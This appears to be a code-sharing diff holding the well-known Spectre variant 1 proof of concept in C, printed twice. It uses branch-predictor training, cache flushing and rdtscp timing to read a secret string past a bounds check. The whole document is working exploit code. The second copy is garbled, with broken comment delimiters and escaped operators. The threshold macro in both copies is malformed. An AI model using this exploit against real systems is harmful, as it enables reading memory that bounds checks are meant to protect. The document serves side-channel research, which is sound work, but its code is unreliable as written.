ErikAugust · August 2, 2024 01:59 · aoprea1982 · Jan 11, 2018 · spartanthe · Jan 11, 2018
diff --git a/spectre.c b/spectre.c
 #include <stdio.h>
 #include <stdlib.h>
 #include <stdint.h>
 #ifdef _MSC_VER
 #include <intrin.h> /* for rdtscp and clflush */
 #pragma optimize("gt",on)
 #else
 #include <x86intrin.h> /* for rdtscp and clflush */
 #endif

 /********************************************************************
 Victim code.
 ********************************************************************/
 unsigned int array1_size = 16;
 uint8_t unused1[64];
 uint8_t array1[160] = {
  1,
  2,
  3,
  4,
  5,
  6,
  7,
  8,
  9,
  10,
  11,
  12,
  13,
  14,
  15,
  16
 };
 uint8_t unused2[64];
 uint8_t array2[256 * 512];

 char * secret = "The Magic Words are Squeamish Ossifrage.";

 uint8_t temp = 0; /* Used so compiler won’t optimize out victim_function() */

 void victim_function(size_t x) {
  if (x < array1_size) {
    temp &= array2[array1[x] * 512];
  }
 }

 /********************************************************************
 Analysis code
 ********************************************************************/
 #define CACHE_HIT_THRESHOLD(80) /* assume cache hit if time <= threshold */

 /* Report best guess in value[0] and runner-up in value[1] */
 void readMemoryByte(size_t malicious_x, uint8_t value[2], int score[2]) {
  static int results[256];
  int tries, i, j, k, mix_i, junk = 0;
  size_t training_x, x;
  register uint64_t time1, time2;
  volatile uint8_t * addr;

  for (i = 0; i < 256; i++)
    results[i] = 0;
  for (tries = 999; tries > 0; tries--) {

    /* Flush array2[256*(0..255)] from cache */
    for (i = 0; i < 256; i++)
      _mm_clflush( & array2[i * 512]); /* intrinsic for clflush instruction */

    /* 30 loops: 5 training runs (x=training_x) per attack run (x=malicious_x) */
    training_x = tries % array1_size;
    for (j = 29; j >= 0; j--) {
      _mm_clflush( & array1_size);
      for (volatile int z = 0; z < 100; z++) {} /* Delay (can also mfence) */

      /* Bit twiddling to set x=training_x if j%6!=0 or malicious_x if j%6==0 */
      /* Avoid jumps in case those tip off the branch predictor */
      x = ((j % 6) - 1) & ~0xFFFF; /* Set x=FFF.FF0000 if j%6==0, else x=0 */
      x = (x | (x >> 16)); /* Set x=-1 if j&6=0, else x=0 */
      x = training_x ^ (x & (malicious_x ^ training_x));

      /* Call the victim! */
      victim_function(x);

    }

    /* Time reads. Order is lightly mixed up to prevent stride prediction */
    for (i = 0; i < 256; i++) {
      mix_i = ((i * 167) + 13) & 255;
      addr = & array2[mix_i * 512];
      time1 = __rdtscp( & junk); /* READ TIMER */
      junk = * addr; /* MEMORY ACCESS TO TIME */
      time2 = __rdtscp( & junk) - time1; /* READ TIMER & COMPUTE ELAPSED TIME */
      if (time2 <= CACHE_HIT_THRESHOLD && mix_i != array1[tries % array1_size])
        results[mix_i]++; /* cache hit - add +1 to score for this value */
    }

    /* Locate highest & second-highest results results tallies in j/k */
    j = k = -1;
    for (i = 0; i < 256; i++) {
      if (j < 0 || results[i] >= results[j]) {
        k = j;
        j = i;
      } else if (k < 0 || results[i] >= results[k]) {
        k = i;
      }
    }
    if (results[j] >= (2 * results[k] + 5) || (results[j] == 2 && results[k] == 0))
      break; /* Clear success if best is > 2*runner-up + 5 or 2/0) */
  }
  results[0] ^= junk; /* use junk so code above won’t get optimized out*/
  value[0] = (uint8_t) j;
  score[0] = results[j];
  value[1] = (uint8_t) k;
  score[1] = results[k];
 }

 int main(int argc,
  const char * * argv) {
  size_t malicious_x = (size_t)(secret - (char * ) array1); /* default for malicious_x */
  int i, score[2], len = 40;
  uint8_t value[2];

  for (i = 0; i < sizeof(array2); i++)
    array2[i] = 1; /* write to array2 so in RAM not copy-on-write zero pages */
  if (argc == 3) {
    sscanf(argv[1], "%p", (void * * )( & malicious_x));
    malicious_x -= (size_t) array1; /* Convert input value into a pointer */
    sscanf(argv[2], "%d", & len);
  }

  printf("Reading %d bytes:\n", len);
  while (--len >= 0) {
    printf("Reading at malicious_x = %p... ", (void * ) malicious_x);
    readMemoryByte(malicious_x++, value, score);
    printf("%s: ", (score[0] >= 2 * score[1] ? "Success" : "Unclear"));
    printf("0x%02X=’%c’ score=%d ", value[0],
      (value[0] > 31 && value[0] < 127 ? value[0] : "?"), score[0]);
    if (score[1] > 0)
      printf("(second best: 0x%02X score=%d)", value[1], score[1]);
    printf("\n");
  }
  return (0);
 }
	#include <stdio.h>
	#include <stdlib.h>
	#include <stdint.h>
	#ifdef _MSC_VER
	#include <intrin.h> /* for rdtscp and clflush */
	#pragma optimize("gt",on)
	#else
	#include <x86intrin.h> /* for rdtscp and clflush */
	#endif

	/********************************************************************
	Victim code.
	********************************************************************/
	unsigned int array1_size = 16;
	uint8_t unused1[64];
	uint8_t array1[160] = {
	1,
	2,
	3,
	4,
	5,
	6,
	7,
	8,
	9,
	10,
	11,
	12,
	13,
	14,
	15,
	16
	};
	uint8_t unused2[64];
	uint8_t array2[256 * 512];

	char * secret = "The Magic Words are Squeamish Ossifrage.";

	uint8_t temp = 0; /* Used so compiler won’t optimize out victim_function() */

	void victim_function(size_t x) {
	if (x < array1_size) {
	temp &= array2[array1[x] * 512];
	}
	}

	/********************************************************************
	Analysis code
	********************************************************************/
	#define CACHE_HIT_THRESHOLD(80) /* assume cache hit if time <= threshold */

	/* Report best guess in value[0] and runner-up in value[1] */
	void readMemoryByte(size_t malicious_x, uint8_t value[2], int score[2]) {
	static int results[256];
	int tries, i, j, k, mix_i, junk = 0;
	size_t training_x, x;
	register uint64_t time1, time2;
	volatile uint8_t * addr;

	for (i = 0; i < 256; i++)
	results[i] = 0;
	for (tries = 999; tries > 0; tries--) {

	/* Flush array2[256(0..255)] from cache /
	for (i = 0; i < 256; i++)
	_mm_clflush( & array2[i * 512]); /* intrinsic for clflush instruction */

	/* 30 loops: 5 training runs (x=training_x) per attack run (x=malicious_x) */
	training_x = tries % array1_size;
	for (j = 29; j >= 0; j--) {
	_mm_clflush( & array1_size);
	for (volatile int z = 0; z < 100; z++) {} /* Delay (can also mfence) */

	/* Bit twiddling to set x=training_x if j%6!=0 or malicious_x if j%6==0 */
	/* Avoid jumps in case those tip off the branch predictor */
	x = ((j % 6) - 1) & ~0xFFFF; /* Set x=FFF.FF0000 if j%6==0, else x=0 */
	x = (x \| (x >> 16)); /* Set x=-1 if j&6=0, else x=0 */
	x = training_x ^ (x & (malicious_x ^ training_x));

	/* Call the victim! */
	victim_function(x);

	}

	/* Time reads. Order is lightly mixed up to prevent stride prediction */
	for (i = 0; i < 256; i++) {
	mix_i = ((i * 167) + 13) & 255;
	addr = & array2[mix_i * 512];
	time1 = __rdtscp( & junk); /* READ TIMER */
	junk = * addr; /* MEMORY ACCESS TO TIME */
	time2 = __rdtscp( & junk) - time1; /* READ TIMER & COMPUTE ELAPSED TIME */
	if (time2 <= CACHE_HIT_THRESHOLD && mix_i != array1[tries % array1_size])
	results[mix_i]++; /* cache hit - add +1 to score for this value */
	}

	/* Locate highest & second-highest results results tallies in j/k */
	j = k = -1;
	for (i = 0; i < 256; i++) {
	if (j < 0 \|\| results[i] >= results[j]) {
	k = j;
	j = i;
	} else if (k < 0 \|\| results[i] >= results[k]) {
	k = i;
	}
	}
	if (results[j] >= (2 * results[k] + 5) \|\| (results[j] == 2 && results[k] == 0))
	break; /* Clear success if best is > 2runner-up + 5 or 2/0) /
	}
	results[0] ^= junk; /* use junk so code above won’t get optimized out*/
	value[0] = (uint8_t) j;
	score[0] = results[j];
	value[1] = (uint8_t) k;
	score[1] = results[k];
	}

	int main(int argc,
	const char * * argv) {
	size_t malicious_x = (size_t)(secret - (char * ) array1); /* default for malicious_x */
	int i, score[2], len = 40;
	uint8_t value[2];

	for (i = 0; i < sizeof(array2); i++)
	array2[i] = 1; /* write to array2 so in RAM not copy-on-write zero pages */
	if (argc == 3) {
	sscanf(argv[1], "%p", (void * * )( & malicious_x));
	malicious_x -= (size_t) array1; /* Convert input value into a pointer */
	sscanf(argv[2], "%d", & len);
	}

	printf("Reading %d bytes:\n", len);
	while (--len >= 0) {
	printf("Reading at malicious_x = %p... ", (void * ) malicious_x);
	readMemoryByte(malicious_x++, value, score);
	printf("%s: ", (score[0] >= 2 * score[1] ? "Success" : "Unclear"));
	printf("0x%02X=’%c’ score=%d ", value[0],
	(value[0] > 31 && value[0] < 127 ? value[0] : "?"), score[0]);
	if (score[1] > 0)
	printf("(second best: 0x%02X score=%d)", value[1], score[1]);
	printf("\n");
	}
	return (0);
	}